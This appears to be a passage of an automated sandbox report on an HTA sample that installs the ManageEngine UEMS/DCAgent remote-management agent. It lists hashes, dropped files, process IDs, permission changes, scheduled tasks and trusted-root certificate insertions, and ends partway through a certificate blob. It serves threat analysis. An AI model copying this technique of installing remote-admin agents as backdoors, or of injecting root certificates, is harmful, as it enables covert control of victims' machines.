Analysis
- max time kernel
111s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
27/10/2026, 23:23
Static task
static1
Behavioral task
behavioral1
Sample
20261027143331.ECB8AC35.hta
Resource
win10v2004-20260911-en
windows10-2004-x64
28 signatures
150 seconds
General
- Target 20261027143331.ECB8AC35.hta
- Size 6KB
- Sample261027-3c86lsef92
- SHA256 46be2733e9bd19dc0c10233dcc5345898f2528cbd9a69b3aded00fa12ac3acbe
- MD5 64a9e8c42d4556f2a77acac2a7fcc647
- SHA1 da31f2f7d7e39315a0ccafa258ef19c983e1aa41
- SHA512 9415b9a0580eaba8595c45f1030703bb409f8600c8ce34636bfc93a160b7660b64c504e739ea258fe4f94091befa5daaa74c015de8d5a07b72f14b96947e2e41
- SSDEEP 96:UaDcfExjtCu7wrc3ZZnofnCArh3oocIzq6CIU0HVenZ+iEH7cItYRcg5hZ1dYFe:UasgZWazN0cnNvZ1doe
- TLSH T16FD1566CEA11CC8CB8317667D359B708D2145E43F68CEDCA0358A9D2AFA1489F59C6CF
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- DCAgent remote management tool 3 IoCs
DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor
resource yara_rule behavioral2/files/0x000d00000001c4f5-17.dat hacktool_dcagent behavioral2/files/0x000d00000001c527-237.dat hacktool_dcagent behavioral2/files/0x000c00000001c5b2-518.dat hacktool_dcagent - Executes dropped EXE 34 IoCs
pid Process 4132 dcagentregister.exe 3296 UEMSAgentHealthChecker.exe 3816 UEMSAgentHCHelper.exe 5356 UEMSAgentHCHelper.exe 3384 UEMSAgentHCHelper.exe 4420 7za.exe 1864 dcagentservice.exe 4620 7za.exe 3480 dcstatusutil.exe 5396 dcagentservice.exe 5968 CRU_Reporter.exe 1236 dcusbsummary.exe 2512 dcconfig.exe 5324 dcusb64.exe 3940 dcstatusutil.exe 5140 dcondemand.exe 4648 dcswmeter.exe 1892 dcinventory.exe 4992 dcconfig.exe 3340 dcinventory.exe 3680 DCProcessMonitor.exe 4940 dcuploadlogs.exe 5024 7za.exe 3320 7za.exe 4912 7za.exe 1936 7za.exe 952 7za.exe 5084 7za.exe 2812 7za.exe 1828 7za.exe 5416 7za.exe 6132 7za.exe 1132 7za.exe 3320 7za.exe - Loads dropped DLL 64 IoCs
pid Process 2108 MsiExec.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 1864 dcagentservice.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 4132 dcagentregister.exe 3480 dcstatusutil.exe 3480 dcstatusutil.exe 3480 dcstatusutil.exe 3480 dcstatusutil.exe 3480 dcstatusutil.exe 3480 dcstatusutil.exe 3480 dcstatusutil.exe 3480 dcstatusutil.exe 3480 dcstatusutil.exe 5396 dcagentservice.exe 1236 dcusbsummary.exe 2512 dcconfig.exe 2512 dcconfig.exe 3940 dcstatusutil.exe 3940 dcstatusutil.exe 2512 dcconfig.exe 3940 dcstatusutil.exe 5140 dcondemand.exe 3940 dcstatusutil.exe 3940 dcstatusutil.exe 3940 dcstatusutil.exe 4648 dcswmeter.exe - Modifies file permissions 1 TTPs 5 IoCs
pid Process 4552 icacls.exe 4344 icacls.exe 3156 icacls.exe 2632 icacls.exe 3480 icacls.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe - Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\SysWOW64\dclibxml2.dll msiexec.exe File created C:\Windows\SysWOW64\dcagentlibxml2.dll msiexec.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Announcement.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_icon.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-pm.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\Updates\Healer\UEMSAgent.mst dcagentregister.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcswmeteraccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\1\server-certificates\SecureCommDetailsV2.json3652.tmp dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\dc_rds.exe msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcchat.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcupload.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\selfserviceportal.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\InvHardwareReadiness.log dcinventory.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcagentservice.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\rdsrunasuser.exe.config 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\mdmregistrationhandler.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagenteventaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\meaaprovisioningaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcagentservice.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcusbsummary.log dcusbsummary.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\rapmsghandler.ico msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\dcpatchutils.dll 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\me-sign.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe64.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\uemsnotifications.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log dcstatusutil.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\maximize_icon.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemandtasks.dll 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\approval_status.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dc_icon.ico msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcchat.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmsghandler.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcpatchstatusaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_777777_256x240.png 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dpinst64.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSLogCollector.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\devicepatchaccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\office-ctr-settings.xml dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dc_msp_image.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcwolsettings.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\folder_backup.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\downloadFailureAccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\ues_devsummaryAcccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcconfigaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagenteventaccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\superseded-tree-scan-data.7z dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CompVulnDetection.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\AgentApplicationResources.properties dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\~test_240832687.tmp dcstatusutil.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\TroubleshootingToolPoco.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcerror.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\TroubleshootingTool.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\SomAgentAccess.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\upload-patches.json dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Find.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_troubleshooting_tool.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\ues_agentaccess.log dcconfig.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcinventory.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\UEMS_Agent_TSToolUtil.log dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc464.tmp dcondemand.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\upload-patches.json3652.tmp dcconfig.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Idea.svg msiexec.exe - Drops file in Windows directory 23 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSI55B3.tmp msiexec.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json dcagentregister.exe File opened for modification C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe File created C:\Windows\Installer\e5a5186.msi msiexec.exe File opened for modification C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File opened for modification C:\Windows\Installer\MSICFC7.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF40343AE0201B7ABA.TMP msiexec.exe File opened for modification C:\Windows\Installer\e5a517e.mst msiexec.exe File created C:\Windows\SystemTemp\~DF4728626F3A8DF75F.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI5B9F.tmp msiexec.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\UEMSAgent.mst msiexec.exe File created C:\Windows\SystemTemp\~DF16D664D90982DD3F.TMP msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\e5a517e.mst msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7} msiexec.exe File created C:\Windows\SystemTemp\~DF98C91E3809C322DA.TMP msiexec.exe File created C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe File created C:\Windows\Tasks\UEMSLogCollector.job dcagentregister.exe File opened for modification C:\Windows\Tasks\UEMSLogCollector.job dcagentregister.exe File created C:\Windows\Installer\e5a517d.msi msiexec.exe File opened for modification C:\Windows\Installer\e5a517d.msi msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 10 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3580 cmd.exe 2092 cmd.exe 1404 cmd.exe 420 cmd.exe 3984 cmd.exe 4752 cmd.exe 4668 cmd.exe 2312 cmd.exe 1952 cmd.exe 4128 cmd.exe - Modifies trusted root certificate store through registry 1 TTPs 19 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37\Blob = 030000000100000014000000e1397ab0b33aa131ce4114981474d387b1532a372000000001000000d8030000308203d4308202bca00302010202086d358c4d4cd1e55e300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303732383133333933375a180f32303531303732383133333933375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a0e168b5165b877b9f1aa5b4f592349e799bbe5bbaa5526c26aafc7e7a8026968fab75ccbce8fe5361356e35dc7f84b87f5cefa6ccc88cbf994244beaddc1504b988fe2fd2ca4d1473cf2154b9bb3bd18794fd1df9f916ded5ce460cba15fff23baceb1815d3b209e2ac5bd2b4f73d3a6893bcca1a66e20037e05f5c6d828185ec5c89fabd1260ea7f8738797835b77f3e4a6cfcbd9a37410d445859728ad50746fa9eb3f92d29d342d868b93b6e24d54ff62f9696f37023643d470b6e4083f614dee5b2e29aa8396a83140a639a31f3dd653bd2fea47b7fd9ebc56ef57a8f682e82c4e54a40749bd775eaaa01053e1282819cf75981488c6ac4bbd57a6826e90203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c389dd4dedf823547314fcf0689457d63161c7a3301f0603551d23041830168014c389dd4dedf823547314fcf0689457d63161c7a3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010003f9180a72abaa0d631e7d24393461171bcfc5433732f3eec716ffd99cfede73254a3f79019702a347e9c0e29eca2ab9c985aac0611e1f6c3c0149c3ec70e5cb8d382d5fefb5876a783364bd29c16b92abd0780307b339acc208db927a903634c2a31cb70067e90e39d76f09c0df19c1597f35ed25dbf3d7aa1e628d87af46a19318ddb049501f4d30f86f29dbc1c8ff29e702fa06cb78458bae166bcb908224abacba116f4d15e886f12ae710bee3851e03cfd5a886566f0b5b4e2f61a878f9be77a23d89f9fa0c3b2d1fb965782b82fa77666c7c1ffb46f8ffde94a8ab381916183f8ded569619de857e9bc740eae48aa973e4d122212c3e7e8adf4cef33a4 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8096DA182333FED188E09EA3A0DAC2DCDA93F0A7\Blob = 0300000001000000140000008096da182333fed188e09ea3a0dac2dcda93f0a72000000001000000f0030000308203ec308202d4a0030201020208172469ebda8330b6300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303732383133333933385a180f32303531303732383133333933385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b7ffa62b17f44e461b00ff58d72826c8e78ab62b3e9581d8bef2e5a5f3c6a3e2f997cd00d9180d17189f68a8b151acbd6ab022ab6864f3c4d9a72eca4c7d599990166c7eff5b093d125b8557a5f11fae187d7a9795f433e95ef6ae9ea7e40c41fc01ef94aa5a3202a0f123e43752c837b0df88351522c59a6efb2d3ea6a778bb612bc29b4c4f17d66091ebf8d5a8dd1925f1007464e1c72f5bf5aebc75cbd87007a7b0ad62d2aa7bc6e5d45e73195df8738d6b4c1b576ef8fef97f0366a59e7d4dcf913f4110474e90149cf9e550952e6d373a0c991f5ab8a8b69a3215e721f04bdd91f267581c760d65a4a5e2d7778b27e38d966ab6b96be70aacaba9c86e8b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414e1f1a443d422bcbc3b86859506b8fa1ef434f77c301f0603551d23041830168014e1f1a443d422bcbc3b86859506b8fa1ef434f77c300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100ac57911e9d450349b5e323f5fbd6cbc25107406087f252bb21db0a36814a3946d5b0402c66e8afef09b301fdc69d80458c168dd0bad4919af98b586abf80a89bbf11cc1185f599905d87ba4eba28dc246d0723ad4e7a243c6c4689a3645290fdd581f407b263c64f52219aa27c9ef87ae2d97acac7ea15611ca3a30fa019aa26602f0553a10c4c5f057262510d12e58148f0136935207fb295b4e038f0a1693318e45fe4b37de9352f2b695e660e71b9bfff5c2fc89601a73ace7776509dd0213b5dab32478de0217da63a5526299bb353b9b87f9b2651cbdeb338b078e89b8d9feebc3452d24a7e202ab6c71934b184c8fd98fa0bc18025214d27913bf1f216 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8096DA182333FED188E09EA3A0DAC2DCDA93F0A7\Blob = 0f0000000100000020000000eb70eeb87155b9bae67525ed29cc95b7bf8ce89f084133d2fe51c9041afcf31d0300000001000000140000008096da182333fed188e09ea3a0dac2dcda93f0a72000000001000000f0030000308203ec308202d4a0030201020208172469ebda8330b6300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303732383133333933385a180f32303531303732383133333933385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b7ffa62b17f44e461b00ff58d72826c8e78ab62b3e9581d8bef2e5a5f3c6a3e2f997cd00d9180d17189f68a8b151acbd6ab022ab6864f3c4d9a72eca4c7d599990166c7eff5b093d125b8557a5f11fae187d7a9795f433e95ef6ae9ea7e40c41fc01ef94aa5a3202a0f123e43752c837b0df88351522c59a6efb2d3ea6a778bb612bc29b4c4f17d66091ebf8d5a8dd1925f1007464e1c72f5bf5aebc75cbd87007a7b0ad62d2aa7bc6e5d45e73195df8738d6b4c1b576ef8fef97f0366a59e7d4dcf913f4110474e90149cf9e550952e6d373a0c991f5ab8a8b69a3215e721f04bdd91f267581c760d65a4a5e2d7778b27e38d966ab6b96be70aacaba9c86e8b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414e1f1a443d422bcbc3b86859506b8fa1ef434f77c301f0603551d23041830168014e1f1a443d422bcbc3b86859506b8fa1ef434f77c300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100ac57911e9d450349b5e323f5fbd6cbc25107406087f252bb21db0a36814a3946d5b0402c66e8afef09b301fdc69d80458c168dd0bad4919af98b586abf80a89bbf11cc1185f599905d87ba4eba28dc246d0723ad4e7a243c6c4689a3645290fdd581f407b263c64f52219aa27c9ef87ae2d97acac7ea15611ca3a30fa019aa26602f0553a10c4c5f057262510d12e58148f0136935207fb295b4e038f0a1693318e45fe4b37de9352f2b695e660e71b9bfff5c2fc89601a73ace7776509dd0213b5dab32478de0217da63a5526299bb353b9b87f9b2651cbdeb338b078e89b8d9feebc3452d24a7e202ab6c71934b184c8fd98fa0bc18025214d27913bf1f216 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37\Blob = 140000000100000014000000c389dd4dedf823547314fcf0689457d63161c7a3030000000100000014000000e1397ab0b33aa131ce4114981474d387b1532a370f00000001000000200000009edf3a3e9dd48e21dc1f0c02f6964daa330ba93be23e55a716a6916f16deed812000000001000000d8030000308203d4308202bca00302010202086d358c4d4cd1e55e300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303732383133333933375a180f32303531303732383133333933375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a0e168b5165b877b9f1aa5b4f592349e799bbe5bbaa5526c26aafc7e7a8026968fab75ccbce8fe5361356e35dc7f84b87f5cefa6ccc88cbf994244beaddc1504b988fe2fd2ca4d1473cf2154b9bb3bd18794fd1df9f916ded5ce460cba15fff23baceb1815d3b209e2ac5bd2b4f73d3a6893bcca1a66e20037e05f5c6d828185ec5c89fabd1260ea7f8738797835b77f3e4a6cfcbd9a37410d445859728ad50746fa9eb3f92d29d342d868b93b6e24d54ff62f9696f37023643d470b6e4083f614dee5b2e29aa8396a83140a639a31f3dd653bd2fea47b7fd9ebc56ef57a8f682e82c4e54a40749bd775eaaa01053e1282819cf75981488c6ac4bbd57a6826e90203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c389dd4dedf823547314fcf0689457d63161c7a3301f0603551d23041830168014c389dd4dedf823547314fcf0689457d63161c7a3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010003f9180a72abaa0d631e7d24393461171bcfc5433732f3eec716ffd99cfede73254a3f79019702a347e9c0e29eca2ab9c985aac0611e1f6c3c0149c3ec70e5cb8d382d5fefb5876a783364bd29c16b92abd0780307b339acc208db927a903634c2a31cb70067e90e39d76f09c0df19c1597f35ed25dbf3d7aa1e628d87af46a19318ddb049501f4d30f86f29dbc1c8ff29e702fa06cb78458bae166bcb908224abacba116f4d15e886f12ae710bee3851e03cfd5a886566f0b5b4e2f61a878f9be77a23d89f9fa0c3b2d1fb965782b82fa77666c7c1ffb46f8ffde94a8ab381916183f8ded569619de857e9bc740eae48aa973e4d122212c3e7e8adf4cef33a4 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8096DA182333FED188E09EA3A0DAC2DCDA93F0A7\Blob = 140000000100000014000000e1f1a443d422bcbc3b86859506b8fa1ef434f77c0300000001000000140000008096da182333fed188e09ea3a0dac2dcda93f0a70f0000000100000020000000eb70eeb87155b9bae67525ed29cc95b7bf8ce89f084133d2fe51c9041afcf31d2000000001000000f0030000308203ec308202d4a0030201020208172469ebda8330b6300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303732383133333933385a180f32303531303732383133333933385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b7ffa62b17f44e461b00ff58d72826c8e78ab62b3e9581d8bef2e5a5f3c6a3e2f997cd00d9180d17189f68a8b151acbd6ab022ab6864f3c4d9a72eca4c7d599990166c7eff5b093d125b8557a5f11fae187d7a9795f433e95ef6ae9ea7e40c41fc01ef94aa5a3202a0f123e43752c837b0df88351522c59a6efb2d3ea6a778bb612bc29b4c4f17d66091ebf8d5a8dd1925f1007464e1c72f5bf5aebc75cbd87007a7b0ad62d2aa7bc6e5d45e73195df8738d6b4c1b576ef8fef97f0366a59e7d4dcf913f4110474e90149cf9e550952e6d373a0c991f5ab8a8b69a3215e721f04bdd91f267581c760d65a4a5e2d7778b27e38d966ab6b96be70aacaba9c86e8b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414e1f1a443d422bcbc3b86859506b8fa1ef434f77c301f0603551d23041830168014e1f1a443d422bcbc3b86859506b8fa1ef434f77c300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100ac57911e9d450349b5e323f5fbd6cbc25107406087f252bb21db0a36814a3946d5b0402c66e8afef09b301fdc69d80458c168dd0bad4919af98b586abf80a89bbf11cc1185f599905d87ba4eba28dc246d0723ad4e7a243c6c4689a3645290fdd581f407b263c64f52219aa27c9ef87ae2d97acac7ea15611ca3a30fa019aa26602f0553a10c4c5f057262510d12e58148f0136935207fb295b4e038f0a1693318e45fe4b37de9352f2b695e660e71b9bfff5c2fc89601a73ace7776509dd0213b5dab32478de0217da63a5526299bb353b9b87f9b2651cbdeb338b078e89b8d9feebc3452d24a7e202ab6c71934b184c8fd98fa0bc18025214d27913bf1f216 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37\Blob = 1900000001000000100000004d04dc5b02db0b7a193cd4936d8ccd6b0f00000001000000200000009edf3a3e9dd48e21dc1f0c02f6964daa330ba93be23e55a716a6916f16deed81030000000100000014000000e1397ab0b33aa131ce4114981474d387b1532a37140000000100000014000000c389dd4dedf823547314fcf0689457d63161c7a32000000001000000d8030000308203d4308202bca00302010202086d358c4d4cd1e55e300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303732383133333933375a180f32303531303732383133333933375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100a0e168b5165b877b9f1aa5b4f592349e799bbe5bbaa5526c26aafc7e7a8026968fab75ccbce8fe5361356e35dc7f84b87f5cefa6ccc88cbf994244beaddc1504b988fe2fd2ca4d1473cf2154b9bb3bd18794fd1df9f916ded5ce460cba15fff23baceb1815d3b209e2ac5bd2b4f73d3a6893bcca1a66e20037e05f5c6d828185ec5c89fabd1260ea7f8738797835b77f3e4a6cfcbd9a37410d445859728ad50746fa9eb3f92d29d342d868b93b6e24d54ff62f9696f37023643d470b6e4083f614dee5b2e29aa8396a83140a639a31f3dd653bd2fea47b7fd9ebc56ef57a8f682e82c4e54a40749bd775eaaa01053e1282819cf75981488c6ac4bbd57a6826e90203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c389dd4dedf823547314fcf0689457d63161c